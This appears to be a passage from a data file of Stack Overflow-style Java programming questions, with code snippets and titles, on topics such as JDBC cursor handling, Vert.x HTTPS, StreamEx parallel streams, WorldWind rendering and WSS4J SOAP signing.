JDBC connection pool to reliably release cursors when resources are closed , without calling commit ? I am using this query to find open cursors : select * from v $ open_cursor where CURSOR_TYPE = 'OPEN'If I call commit ( ) after closing the statement and ResultSet , no cursors are open during the sleep ( ) If I call commit prior to closing statement and ResultSet , I find the sql select 1 from b when I query for open cursors during the sleep ( ) .Same thing here . If I do n't call commit ( ) I find ` select 1 from dual c in my open cursor query , which remains open until the JVM exits.These are my configurations",try ( Connection con = pooledDataSource.getConnection ( ) ) { try ( PreparedStatement statement = con.prepareStatement ( `` select 1 from dual a '' ) ; ResultSet rs = statement.executeQuery ( ) ) { } con.commit ( ) ; } Thread.sleep ( 20000 ) ; try ( Connection con = pooledDataSource.getConnection ( ) ; PreparedStatement statement = con.prepareStatement ( `` select 1 from dual b '' ) ; ResultSet rs = statement.executeQuery ( ) ) { { con.commit ( ) ; } } Thread.sleep ( 20000 ) ; try ( Connection con = pooledDataSource.getConnection ( ) ; PreparedStatement statement = con.prepareStatement ( `` select 1 from dual c '' ) ; ResultSet rs = statement.executeQuery ( ) ) { { } } PoolDataSource pooledDataSource = PoolDataSourceFactory.getPoolDataSource ( ) ; pooledDataSource.setConnectionFactoryClassName ( `` oracle.jdbc.pool.OracleDataSource '' ) ; pooledDataSource.setURL ( `` jdbc : oracle : thin : @ // '' + host + `` :1521/ '' + service ) ; pooledDataSource.setUser ( user ) ; pooledDataSource.setPassword ( pw ) ; pooledDataSource.setInitialPoolSize ( 1 ) ; pooledDataSource.setMinPoolSize ( 1 ) ; pooledDataSource.setMaxPoolSize ( 1 ) ; pooledDataSource.setAbandonedConnectionTimeout ( 5 ) ; pooledDataSource.setConnectionWaitTimeout ( 5 ) ; pooledDataSource.setInactiveConnectionTimeout ( 5 ) ;,"Oracle PoolDataSource leaves DB cursor open until commit ( ) , is this expected behavior ?" +Java,I 've started preparing myself for the OCJP7 exam and I found this chapter that seems to be very complicated.Let 's say I have this code : Could you tell me why we can access Outer1.InnerInterface.x and Outer2.NestedInterface.x in the same manner ? Inner interfaces are static by default ? I 'm trying to make some connections to make them more clearly .,class Outer1 { interface InnerInterface { String x = `` test '' ; } class InnerClass { String x = `` test '' ; } } class Outer2 { static interface NestedInterface { String x = `` test '' ; } static class NestedClass { String x = `` test '' ; } } class Main { public static void main ( String [ ] args ) { String s1 = Outer1.InnerInterface.x ; String s2 = new Outer1 ( ) .new InnerClass ( ) .x ; String s3 = Outer2.NestedInterface.x ; String s4 = new Outer2.NestedClass ( ) .x ; } },Java inner and nested classes +Java,"I 'm so worried about people logging confidential information to server logs.I have seen server logs in production . Some developers are accidentally logging security relatedinformation like password , clientId , clientSecret etc.Is there any way , like Eclipse plugin or any tool , to warn developers while writing their code ? I have done some research ... I have seen tools like sonarLint and FindBugbut those plugins are unable to solve my problem .",` ex : log.info ( `` usernam = `` + username + `` password = `` + password ) ; ` // Warn that confidential info is getting logged .,Warn on Logging security Info +Java,How to parse Japanese era date string inputs into LocalDate/LocalDateTime via Java 8 DateTime API ? Example Japanese calendar dates ;,明治23年11月29日昭和22年5月3日平成23年3月11日(金)14時46分令和5年1月11日,How to parse Japanese Era Date string values into LocalDate & LocalDateTime +Java,"About the constructor of JTextField , the javadoc says : public JTextField ( ) Constructs a new TextField . A default model is created , the initial string is null , and the number of columns is set to 0.But when I use this constructor , the method getText ( ) of JTextField returns an empty String , for example : Why the value returned by getText ( ) is an empty String instead of null ?",boolean b = new JTextField ( ) .getText ( ) .isEmpty ( ) ; // returns true .,Swing : the initial String of JTextField is an empty String +Java,We have re-written our webservices with Vert.x 4 and we 're more than satisfied . Before putting them in production we want to secure them and we 're trying to enable https . This is the main verticle : And this is the most relevant part of the code of the HTTP server verticle : The above code works fine because my website is reachable at https : //website.it and https : //www.website.it ( with letsencrypt certs ) .The problem is that when I try to access http : //website.it or http : //www.website.it it does n't work ( meaning that I ca n't see the home because the server is unreachable ) . How can I redirect http : //website.it to https//website.it ? I have googled a lot and what I 've managed to find is : this vertx example that setups HTTPS as I do but it does not mention the redirectthis SO question that seems to tell me what to do but I can not understand what to do and I am not sure if that setup has to go in the HttpServerOption objectMaybe is my https configuration wrong ? I am using Java 11 on IntelliJ IDEA ( Maven build ) and Vert.x 4 latest version.Thank you,"public class MainVerticle extends AbstractVerticle { @ Override public void start ( ) throws Exception { //Deploy the HTTP server vertx.deployVerticle ( `` com.albertomiola.equations.http.HttpServerVerticle '' , new DeploymentOptions ( ) .setInstances ( 3 ) ) ; } // I use this only in IntelliJ Idea because when I hit `` Run '' the build starts public static void main ( String [ ] args ) { Launcher.executeCommand ( `` run '' , MainVerticle.class.getName ( ) ) ; } } public class HttpServerVerticle extends AbstractVerticle { @ Override public void start ( Promise < Void > startPromise ) throws Exception { var options = new HttpServerOptions ( ) ; options.setPort ( 443 ) .setSSl ( true ) .setPemTrustOptions ( ... ) .setPemKeyCertOptions ( ... ) ; var server = vertx.createHttpServer ( options ) ; var router = Router.router ( vertx ) ; //Start server .requestHandler ( router ) .listen ( portNumber , ar - > { if ( ar.succeeded ( ) ) { startPromise.complete ( ) ; } else { startPromise.fail ( ar.cause ( ) ) ; } } ) ; } }",Vert.x redirect http to https +Java,"My app uses BatteryManager.BATTERY_PROPERTY_CURRENT_NOW to get the battery current of the device : However , it does not work for example on a Samsung Galaxy Tab A . There it returns just 0.Other apps show the current even on that device . How do they do it ? What are alternatives to my method ?","BatteryManager batteryManager = ( BatteryManager ) context.getSystemService ( Context.BATTERY_SERVICE ) ; int current = batteryManager.getIntProperty ( BatteryManager.BATTERY_PROPERTY_CURRENT_NOW ) , context ) ;",BATTERY_PROPERTY_CURRENT_NOW not working on every device . What are alternatives ? +Java,I have defined following classes : Now I would like to have a class like this : But this wo n't compile : Why does n't Java allow this ? After some time I came up with the following solution : But this forces me to write the following : Which looks odd . Is there any way to make it look nicer ? EDIT This worked,"class Operation < S > class GetReservationOperation extends Operation < Reservation > OperationExecutor < T extends Operation < S > > extends AsyncTask < T , Void , S > { @ Override protected S doInBackground ( T ... params ) { return null ; } } OperationExecutor < GetReservationOperation > executor = new ... . OperationExecutor < T extends Operation < S > , S > extends AsyncTask < T , Void , S > { @ Override protected S doInBackground ( T ... params ) { return null ; } } OperationExecutor < GetReservationOperation , Reservation > executor = new ... . OperationExecutor < S > extends AsyncTask < Operation < S > , Void , S > { @ Override protected S doInBackground ( Operation < S > ... params ) { return null ; } } OperationExecutor < Reservation > executor = new ... .executor.execute ( getReservationOperation ) ;",Java generics - inferring nested type +Java,"I am writing a class where the same xml is used between some methods.e.g.I would like to write my documentation so that if the xml changes I have one resource to modify , rather than updating all of the JavaDoc for the affected methods.Does anyone know how to accomplish this ?",/** * Sample Response : * < xmp > * < myXML > * < stuff > data < /stuff > * < /myXML > * < /xmp > */ CommonXML Method1 ( ) ; /** * Sample Submission : * < xmp > * < myXML > * < stuff > data < /stuff > * < /myXML > * < /xmp > */ void Method2 ( CommonXML xml ) ;,Avoiding duplication in JavaDoc comments +Java,"I noticed that if I use StreamEx lib to parallel out my streams with a custom ForkJoinPool as below - the subsequent actions do run in parallel threads from that pool . However , if I add a map ( ) operation and parallel the resulting stream - only one thread from the pool is used . Below is the full code ( without all imports ) of a minimal working example that demonstrates this problem . The only difference between the executeAsParallelFromList ( ) and the executeAsParallelAfterMap ( ) methods is addition of .map ( ... ) call before the .parallel ( ) .Unit test to execute both methods : Results of the execution : As you can see , all three threads are being used when executing the executeAsParallelFromList ( ) , but only one thread is used when executing the executeAsParallelAfterMap ( ) .Why ? thanks ! MarinaNOTE : the example is deliberately simplistic - I tried to make it as minimal as possible to demo the issue . Obviously in real life there is much more going on in the map ( ) , handleItem ( ) , etc. , and the input data is much more interesting ( I 'm trying to process AWS S3 buckets/prefixes in parallel ) .","import one.util.streamex.StreamEx ; public class ParallelExample { private static final Logger logger = LoggerFactory.getLogger ( ParallelExample.class ) ; private static ForkJoinPool s3ThreadPool = new ForkJoinPool ( 3 ) ; public static List < String > getTestList ( ) { int listSize = 10 ; List < String > testList = new ArrayList < > ( ) ; for ( int i=0 ; i < listSize ; i++ ) testList.add ( `` item_ '' + i ) ; return testList ; } public static void executeAsParallelFromList ( ) { logger.info ( `` executeAsParallelFromList ( ) : '' ) ; List < String > testList = getTestList ( ) ; StreamEx < String > streamOfItems = StreamEx .of ( testList ) .parallel ( s3ThreadPool ) ; logger.info ( `` streamOfItems.isParallel ( ) : { } '' , streamOfItems.isParallel ( ) ) ; streamOfItems.forEach ( item - > handleItem ( item ) ) ; } public static void executeAsParallelAfterMap ( ) { logger.info ( `` executeAsParallelAfterMap ( ) : '' ) ; List < String > testList = getTestList ( ) ; StreamEx < String > streamOfItems = StreamEx .of ( testList ) .map ( item - > item+ '' _mapped '' ) .parallel ( s3ThreadPool ) ; logger.info ( `` streamOfItems.isParallel ( ) : { } '' , streamOfItems.isParallel ( ) ) ; streamOfItems.forEach ( item - > handleItem ( item ) ) ; } private static void handleItem ( String item ) { // do something with the item - just print for now logger.info ( `` I 'm handling item : { } '' , item ) ; } } public class ParallelExampleTest { @ Testpublic void testExecuteAsParallelFromList ( ) { ParallelExample.executeAsParallelFromList ( ) ; } @ Testpublic void testExecuteAsParallelFromStreamEx ( ) { ParallelExample.executeAsParallelAfterMap ( ) ; } } 08:49:12.992 [ main ] INFO marina.streams.ParallelExample - executeAsParallelFromList ( ) :08:49:13.002 [ main ] INFO marina.streams.ParallelExample - streamOfItems.isParallel ( ) : true08:49:13.040 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_608:49:13.040 [ ForkJoinPool-1-worker-2 ] INFO marina.streams.ParallelExample - I 'm handling item : item_208:49:13.040 [ ForkJoinPool-1-worker-3 ] INFO marina.streams.ParallelExample - I 'm handling item : item_108:49:13.041 [ ForkJoinPool-1-worker-2 ] INFO marina.streams.ParallelExample - I 'm handling item : item_408:49:13.041 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_808:49:13.041 [ ForkJoinPool-1-worker-3 ] INFO marina.streams.ParallelExample - I 'm handling item : item_008:49:13.041 [ ForkJoinPool-1-worker-2 ] INFO marina.streams.ParallelExample - I 'm handling item : item_308:49:13.041 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_908:49:13.041 [ ForkJoinPool-1-worker-3 ] INFO marina.streams.ParallelExample - I 'm handling item : item_508:49:13.041 [ ForkJoinPool-1-worker-2 ] INFO marina.streams.ParallelExample - I 'm handling item : item_708:49:13.043 [ main ] INFO marina.streams.ParallelExample - executeAsParallelAfterMap ( ) :08:49:13.043 [ main ] INFO marina.streams.ParallelExample - streamOfItems.isParallel ( ) : true08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_0_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_1_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_2_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_3_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_4_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_5_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_6_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_7_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_8_mapped08:49:13.044 [ ForkJoinPool-1-worker-1 ] INFO marina.streams.ParallelExample - I 'm handling item : item_9_mapped",StreamEx.parallel ( ) .forEach ( ) does not run in parallel after .map ( ) +Java,"I 've never encountered something like this and I do n't know this type of coding ! What is this ? ( I 'm pretty new to Java ) After constructor calling there is a brace ( ! ? ) and it seems that there is an overriding of some methods . Then the brace is terminated with a semicolon . I 've never seen brace after a constructor call . Is it normal ? How is it called ? Thank you ! p.s : on Eclipse , if i remove the semicolon , it says LocalVariableDeclarationStatement error .","DefaultHandler handler = new DefaultHandler ( ) { boolean bfname = false ; boolean blname = false ; boolean bnname = false ; boolean bsalary = false ; public void startElement ( String uri , String localName , String qName , Attributes attributes ) throws SAXException { // code } public void endElement ( String uri , String localName , String qName ) throws SAXException { // code } public void characters ( char ch [ ] , int start , int length ) throws SAXException { // code } ;",What type of Java constructor call is this ? +Java,"I think this is an interesting question . We can loop in one way but can we loop it backwards in the same line ? Let me explain what I mean . Here is an example code : I am looking if there is any workaround so that the above statement can print 0,1,2,3,4,3,2,1,0 ?","for ( int i = 0 ; i < 5 ; i++ ) { // we all know the output will be 0,1,2,3,4",Loop front and back in one line +Java,"Granted he did n't show us actual code here , just mentioned it , I found it extremely bizarre.For example , according to what he said this is valid Java :",public class Person { String Name ; int Age ; { //These two braces just chilling together - VALID ? : O } },"Is this valid Java code ? My teacher claims it is , but I 'm really not so sure" +Java,"Worldwind 's Point PlaceMark renderable has the feature to drop a line from the Placemark down to the terrain by calling setLineEnabled as in this screenshot : What I 'm trying to do is add a line like this that also works with the Tactical Symbol renderable . My first thought was to just borrow the logic to do this from the PointPlacemark renderable and add it to the AbstractTacticalSymbol renderable . I 've tried that and I have been unsuccessful so far.Here is what I 've done so far : Added this to OrderedSymbol class : Updated computeSymbolPoints to calculate terrainPointAdded this logic ( taken from PointPlacemark.java and updated for compliance to AbstractTacticalSymbol.java ) . Note that I have lineEnabled set to true , so it should draw the line by default.Added this call to the beginning of the drawOrderedRenderable method : I believe this closely mirrors what PointPlacemark is doing to get the line to terrain appear , but this is what I get when I run the TacticalSymbols example with my changes : Here is the whole AbsractTacticalSymbol file with my ( attempted ) changes : http : //pastebin.com/aAC7zn0p ( its too large for SO )","public Vec4 terrainPoint ; protected void computeSymbolPoints ( DrawContext dc , OrderedSymbol osym ) { osym.placePoint = null ; osym.screenPoint = null ; osym.terrainPoint = null ; osym.eyeDistance = 0 ; Position pos = this.getPosition ( ) ; if ( pos == null ) return ; if ( this.altitudeMode == WorldWind.CLAMP_TO_GROUND || dc.is2DGlobe ( ) ) { osym.placePoint = dc.computeTerrainPoint ( pos.getLatitude ( ) , pos.getLongitude ( ) , 0 ) ; } else if ( this.altitudeMode == WorldWind.RELATIVE_TO_GROUND ) { osym.placePoint = dc.computeTerrainPoint ( pos.getLatitude ( ) , pos.getLongitude ( ) , pos.getAltitude ( ) ) ; } else // Default to ABSOLUTE { double height = pos.getElevation ( ) * dc.getVerticalExaggeration ( ) ; osym.placePoint = dc.getGlobe ( ) .computePointFromPosition ( pos.getLatitude ( ) , pos.getLongitude ( ) , height ) ; } if ( osym.placePoint == null ) return ; // Compute the symbol 's screen location the distance between the eye point and the place point . osym.screenPoint = dc.getView ( ) .project ( osym.placePoint ) ; osym.eyeDistance = osym.placePoint.distanceTo3 ( dc.getView ( ) .getEyePoint ( ) ) ; // Compute a terrain point if needed . if ( this.isLineEnabled ( ) & & this.altitudeMode ! = WorldWind.CLAMP_TO_GROUND & & ! dc.is2DGlobe ( ) ) osym.terrainPoint = dc.computeTerrainPoint ( pos.getLatitude ( ) , pos.getLongitude ( ) , 0 ) ; } boolean lineEnabled = true ; double lineWidth = 1 ; protected int linePickWidth = 10 ; Color lineColor = Color.white ; /** * Indicates whether a line from the placemark point to the corresponding position on the terrain is drawn . * * @ return true if the line is drawn , otherwise false . */public boolean isLineEnabled ( ) { return lineEnabled ; } /** * Specifies whether a line from the placemark point to the corresponding position on the terrain is drawn . * * @ param lineEnabled true if the line is drawn , otherwise false . */public void setLineEnabled ( boolean lineEnabled ) { this.lineEnabled = lineEnabled ; } /** * Determines whether the placemark 's optional line should be drawn and whether it intersects the view frustum . * * @ param dc the current draw context . * * @ return true if the line should be drawn and it intersects the view frustum , otherwise false . */protected boolean isDrawLine ( DrawContext dc , OrderedSymbol opm ) { if ( ! this.isLineEnabled ( ) || dc.is2DGlobe ( ) || this.getAltitudeMode ( ) == WorldWind.CLAMP_TO_GROUND || opm.terrainPoint == null ) return false ; if ( dc.isPickingMode ( ) ) return dc.getPickFrustums ( ) .intersectsAny ( opm.placePoint , opm.terrainPoint ) ; else return dc.getView ( ) .getFrustumInModelCoordinates ( ) .intersectsSegment ( opm.placePoint , opm.terrainPoint ) ; } /** * Draws the placemark 's line . * * @ param dc the current draw context . * @ param pickCandidates the pick support object to use when adding this as a pick candidate . */protected void drawLine ( DrawContext dc , PickSupport pickCandidates , OrderedSymbol opm ) { GL2 gl = dc.getGL ( ) .getGL2 ( ) ; // GL initialization checks for GL2 compatibility . if ( ( ! dc.isDeepPickingEnabled ( ) ) ) gl.glEnable ( GL.GL_DEPTH_TEST ) ; gl.glDepthFunc ( GL.GL_LEQUAL ) ; gl.glDepthMask ( true ) ; try { dc.getView ( ) .pushReferenceCenter ( dc , opm.placePoint ) ; // draw relative to the place point this.setLineWidth ( dc ) ; this.setLineColor ( dc , pickCandidates ) ; gl.glBegin ( GL2.GL_LINE_STRIP ) ; gl.glVertex3d ( Vec4.ZERO.x , Vec4.ZERO.y , Vec4.ZERO.z ) ; gl.glVertex3d ( opm.terrainPoint.x - opm.placePoint.x , opm.terrainPoint.y - opm.placePoint.y , opm.terrainPoint.z - opm.placePoint.z ) ; gl.glEnd ( ) ; } finally { dc.getView ( ) .popReferenceCenter ( dc ) ; } } /** * Sets the width of the placemark 's line during rendering . * * @ param dc the current draw context . */protected void setLineWidth ( DrawContext dc ) { Double lineWidth = this.lineWidth ; if ( lineWidth ! = null ) { GL gl = dc.getGL ( ) ; if ( dc.isPickingMode ( ) ) { gl.glLineWidth ( lineWidth.floatValue ( ) + linePickWidth ) ; } else gl.glLineWidth ( lineWidth.floatValue ( ) ) ; if ( ! dc.isPickingMode ( ) ) { gl.glHint ( GL.GL_LINE_SMOOTH_HINT , GL.GL_FASTEST ) ; gl.glEnable ( GL.GL_LINE_SMOOTH ) ; } } } /** * Sets the color of the placemark 's line during rendering . * * @ param dc the current draw context . * @ param pickCandidates the pick support object to use when adding this as a pick candidate . */protected void setLineColor ( DrawContext dc , PickSupport pickCandidates ) { GL2 gl = dc.getGL ( ) .getGL2 ( ) ; // GL initialization checks for GL2 compatibility . if ( ! dc.isPickingMode ( ) ) { Color color = this.lineColor ; gl.glColor4ub ( ( byte ) color.getRed ( ) , ( byte ) color.getGreen ( ) , ( byte ) color.getBlue ( ) , ( byte ) color.getAlpha ( ) ) ; } else { Color pickColor = dc.getUniquePickColor ( ) ; Object delegateOwner = this.getDelegateOwner ( ) ; pickCandidates.addPickableObject ( pickColor.getRGB ( ) , delegateOwner ! = null ? delegateOwner : this , this.getPosition ( ) ) ; gl.glColor3ub ( ( byte ) pickColor.getRed ( ) , ( byte ) pickColor.getGreen ( ) , ( byte ) pickColor.getBlue ( ) ) ; } } boolean drawLine = this.isDrawLine ( dc , osym ) ; if ( drawLine ) this.drawLine ( dc , pickCandidates , osym ) ;",Worldwind Line from Symbol to Terrain +Java,I want to add wsse : security to my soap message . This is my code : It works for soapenv : Body ( It does add wsu : Id and xmlns : wsu parameters ) But there is an extra element in soapenv : Header and it does n't sign this element . There is no wsu : Id and xmlns : wsu parameters and lack of one ds : Reference . Example of not signed soap msg : I compare soap msg from my program to working soap msg from SoapUI project.When I post a message to web service I get an error : wsse : InvalidSecurity - Soap Header must be signed . While in SoupUI it does works.So my question is how can I force WSS4j to sign extra element inside soapenv : Header ?,"public Document signSoapMessage ( SOAPMessage message ) { try { Document doc = message.getSOAPBody ( ) .getOwnerDocument ( ) ; Crypto crypto = CryptoFactory.getInstance ( properties ) ; //File WSSecHeader secHeader = new WSSecHeader ( doc ) ; secHeader.insertSecurityHeader ( ) ; InputStream inStream = new FileInputStream ( properties.getProperty ( `` org.apache.ws.security.crypto.merlin.keystore.file '' ) ) ; KeyStore ks = KeyStore.getInstance ( `` PKCS12 '' ) ; ks.load ( inStream , properties.getProperty ( `` privatekeypassword '' ) .toCharArray ( ) ) ; String alias = ks.aliases ( ) .nextElement ( ) ; X509Certificate cert = ( X509Certificate ) ks.getCertificate ( alias ) ; WSSecSignature sign = new WSSecSignature ( secHeader ) ; sign.setX509Certificate ( cert ) ; sign.setUserInfo ( properties.getProperty ( `` org.apache.ws.security.crypto.merlin.keystore.alias '' ) , properties.getProperty ( `` privatekeypassword '' ) ) ; sign.setKeyIdentifierType ( WSConstants.BST_DIRECT_REFERENCE ) ; // Binary Security Token - SecurityTokenReference sign.setUseSingleCertificate ( true ) ; sign.setDigestAlgo ( DigestMethod.SHA1 ) ; //sign.build ( crypto ) ; Document signedDoc = sign.build ( crypto ) ; return signedDoc ; } catch ( SOAPException e ) { e.printStackTrace ( ) ; return null ; } catch ( WSSecurityException e ) { e.printStackTrace ( ) ; throw new RuntimeException ( `` Error : `` + e.getMessage ( ) ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; return null ; } catch ( CertificateException e ) { e.printStackTrace ( ) ; return null ; } catch ( NoSuchAlgorithmException e ) { e.printStackTrace ( ) ; return null ; } catch ( KeyStoreException e ) { e.printStackTrace ( ) ; return null ; } } < soapenv : Envelope xmlns : soapenv= '' http : //schemas.xmlsoap.org/soap/envelope/ '' > < soapenv : Header > < ! -- this element should be signed but is not - NOT WORKING -- > < something > < /something > < /soapenv : Header > < ! -- this element should be signed and It does . -- > < soapenv : Body > < /soapenv : Body > < /soapenv : Envelope >",WSSE - Sign an element inside soapenv : Header +Java,"I was wondering why the following code would be accepted by the Java compiler : This can and should not work . The java specification states the finally block will always be executed , but at the same time the return value has already been specified . So either you can not execute the return `` b '' statement , because you have exited at return `` a '' , which would be incorrect.However , the other option is that you execute the return `` b '' statement , and thereby totally disregarding the return `` a '' statement ... I would say that both are wrong , and I would expect that this does not compile . However it compiles and runs fine . I will leave the answer as a nice exercise to the reader ; ) . Basically my question is : Besides being bad practice , would this be considered a Java bug , or does this have other wonderful uses other than obfuscation ? Edit : The question is not so much if it is a bug , that has been answered , but does it have nice use cases ?",public class Main { public static void main ( String ... args ) { System.out.println ( `` a ( ) = `` + a ( ) ) ; } public static String a ( ) { try { return `` a '' ; } catch ( Throwable t ) { } finally { return `` b '' ; } } },try { } finally { } construct with return values +Java,"This question is about the apparent `` hidden '' or local imports of Java packages that lambda expressions seem to employ.The following sample code compiles and runs fine ( it just lists the files in the given directory ) : Note that the variable filePath is an instance of Path , whose implementation I think is contained in package java.nio.file.Path , although there is no import for that package.Now , if I make a small modification , say by refactoring the call to System.out.println to its own method : I must now 'import ' import java.nio.file.Path , otherwise I get a compiler error.So my questions are : If filePath is indeed an instance of java.nio.file.Path , why do n't I need to import it in the first example , andIf using the lambda expression performs the import `` under the covers , '' then why do I need to add the import when I create a method that takes an instance of Path as an argument ? The methods available to call on both filePath and passedFilePath are identical , leading me to believe they are both instances of java.nio.file.Path .","package com.mbm.stockbot ; import java.io.IOException ; import java.nio.file.Files ; import java.nio.file.Paths ; public class Temp2 { public static void main ( String [ ] args ) { Temp2 t = new Temp2 ( ) ; t.readDir ( ) ; } public void readDir ( ) { try { Files.walk ( Paths.get ( `` C : /Users/mbmas_000/Downloads/SEC Edgar '' ) , 1 ) .forEach ( filePath - > { if ( Files.isRegularFile ( filePath ) ) { System.out.println ( filePath ) ; } } ) ; } catch ( IOException e1 ) { e1.printStackTrace ( ) ; } } } package com.mbm.stockbot ; import java.io.IOException ; import java.nio.file.Files ; import java.nio.file.Path ; import java.nio.file.Paths ; public class Temp2 { public static void main ( String [ ] args ) { Temp2 t = new Temp2 ( ) ; t.readDir ( ) ; } public void readDir ( ) { try { Files.walk ( Paths.get ( `` C : /Users/mbmas_000/Downloads/SEC Edgar '' ) , 1 ) .forEach ( filePath - > { if ( Files.isRegularFile ( filePath ) ) { printPath ( filePath ) ; } } ) ; } catch ( IOException e1 ) { e1.printStackTrace ( ) ; } } public void printPath ( Path passedFilePath ) { System.out.println ( passedFilePath ) ; } }",Do Java Lambda Expressions Utilize `` Hidden '' or Local Package Imports ? +Java,"I got general understanding what volatile means in Java . But readingJava SE Specification 8.3.1.4 I have a problem understanding the text beneath that certain volatile example . This allows method one and method two to be executed concurrently , but guarantees that accesses to the shared values for i and j occur exactly as many times , and in exactly the same order , as they appear to occur during execution of the program text by each thread . Therefore , the shared value for j is never greater than that for i , because each update to i must be reflected in the shared value for i before the update to j occurs . It is possible , however , that any given invocation of method two might observe a value for j that is much greater than the value observed for i , because method one might be executed many times between the moment when method two fetches the value of i and the moment when method two fetches the value of j.How is j never greater than i , but at the same time any given invocation of method two might observe a value for j that is much greater than the value observed for i ? ? Looks like contradiction.I got j greater than i after running sample program . Why use volatile then ? It gives almost the same result without volatile ( also i can be greater than j , one of previous examples in specs ) . Why is this example here as an alternative to synchronized ?","class Test { static volatile int i = 0 , j = 0 ; static void one ( ) { i++ ; j++ ; } static void two ( ) { System.out.println ( `` i= '' + i + `` j= '' + j ) ; } }",Ca n't understand example of volatile in Java specification +Java,I 'd like to have functor class like this : And another class for the 2 arguments : And so on.In C # i can write : But in Java it would be an error : What are best practices for multi-arguments generic classes in java ?,"public class Functor < T , R > { public R invoke ( T a ) { ... } } public class Functor < T1 , T2 , R > { public R invoke ( T1 a , T2 b ) { ... } } class Functor < T > { ... } class Functor < T1 , T2 > { ... } The type Functor is already defined",generic functor class in java +Java,"I 'm trying to buildozer android debug deploy in my cygwin environment . So far it worked quite well , but upon trying to build , I run into the following error : What is funny , is that if I do java -version in cygwin it returnsso cygwin does know java . What am I missing here ? EDIT : Ok , I 've tried to do the following in the android.py file of buildozer on line 92 : But that just gave me the following error instead of the _winreg not recognized : EDIT2 : I 've managed to angle to this error : EDIT 3 : I 've already set the environment variable JAVA_HOME to my SDK path , so that can not be the problem . I think it 's a problem of winreg not being able to properly import that path.EDIT 4 : Through the help of a nice guy called Gavin Bravery I 'm now no longer getting other errors than the java error . Current output on trying toisWith a I can circumvent the path warning , so its down to the `` No suitable Java found . '' Error . Does anyone have an idea on that ?","$ buildozer android debug deploy # Check configuration tokens # Ensure build layout # Check configuration tokens # Preparing build # Check requirements for androidTraceback ( most recent call last ) : File `` /usr/lib/python2.7/site-packages/buildozer-0.15_dev-py2.7.egg/buildozer/targets/android.py '' , line 92 , in check_requirementsself._set_win32_java_home ( ) File `` /usr/lib/python2.7/site-packages/buildozer-0.15_dev-py2.7.egg/buildozer/targets/android.py '' , line 186 , in _set_win32_java_home import _winregImportError : No module named _winreg # Install platform # Apache ANT found at /home/Data/.buildozer/android/platform/apache-ant-1.8.4 # Android SDK found at /home/Data/.buildozer/android/platform/android-sdk-21 # Android NDK found at /home/Data/.buildozer/android/platform/android-ndk-r9cERROR : No suitable Java found . In order to properly use the Android DeveloperTools , you need a suitable version of Java JDK installed on your system.We recommend that you install the JDK version of JavaSE , available here : http : //www.oracle.com/technetwork/java/javase/downloadsYou can find the complete Android SDK requirements here : http : //developer.android.com/sdk/requirements.html # Android packages installation done. # Check application requirements # Check garden requirements # Compile platform # Command failed : ./distribute.sh -m `` kivy '' -d `` first_kivy_test '' java version `` 1.7.0_45 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_45-b18 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 24.45-b08 , mixed mode ) import cygwinreg as _winreg Traceback ( most recent call last ) : File `` /usr/lib/python2.7/site-packages/buildozer-0.15_dev-py2.7.egg/buildozer/targets/android.py '' , line 92 , in check_requirementsself._set_win32_java_home ( ) File `` /usr/lib/python2.7/site-packages/buildozer-0.15_dev-py2.7.egg/buildozer/targets/android.py '' , line 191 , in _set_win32_java_homeself.buildozer.environ [ 'JAVA_HOME ' ] = java_home File `` /usr/lib/python2.7/site-packages/cygwinreg-1.0-py2.7.egg/cygwinreg/__init__.py '' , line 146 , in __exit__self.Close ( ) NameError : global name 'self ' is not defined Traceback ( most recent call last ) : File `` /usr/lib/python2.7/site-packages/buildozer-0.15_dev-py2.7.egg/buildozer/targets/android.py '' , line 92 , in check_requirements self._set_win32_java_home ( ) File `` /usr/lib/python2.7/site-packages/buildozer-0.15_dev-py2.7.egg/buildozer/targets/android.py '' , line 187 , in _set_win32_java_homewith _winreg.OpenKey ( _winreg.HKEY_LOCAL_MACHINE , r '' SOFTWARE\JavaSoft\Java Development Kit '' ) as jdk : # @ UndefinedVariableAttributeError : __exit__ buildozer android debug deploy # Check configuration tokens # Ensure build layout # Check configuration tokens # Preparing build # Check requirements for androidcygwin warning : MS-DOS style path detected : C : \Program Files ( x86 ) \Java\jdk1.7.0_10/bin/javac.exe Preferred POSIX equivalent is : /cygdrive/c/Program Files ( x86 ) /Java/jdk1.7.0_10/bin/javac.exe CYGWIN environment variable option `` nodosfilewarning '' turns off this warning . Consult the user 's guide for more details about POSIX paths : http : //cygwin.com/cygwin-ug-net/using.html # using-pathnames # Install platform # Apache ANT found at /home/Data/.buildozer/android/platform/apache-ant-1.8.4 # Android SDK found at /home/Data/.buildozer/android/platform/android-sdk-21 # Android NDK found at /home/Data/.buildozer/android/platform/android-ndk-r9cERROR : No suitable Java found . In order to properly use the Android DeveloperTools , you need a suitable version of Java JDK installed on your system.We recommend that you install the JDK version of JavaSE , available here : http : //www.oracle.com/technetwork/java/javase/downloadsYou can find the complete Android SDK requirements here : http : //developer.android.com/sdk/requirements.html # Android packages installation done. # Check application requirements # Check garden requirements # Compile platform # Command failed : ./distribute.sh -m `` kivy '' -d `` kivytest '' export JAVA_HOME= $ ( cygpath `` JAVA_HOME '' )",Buildozer does n't work with java under cygwin +Java,"I have the following code : But my friend told me that there is some issue in it . I created an anonymous 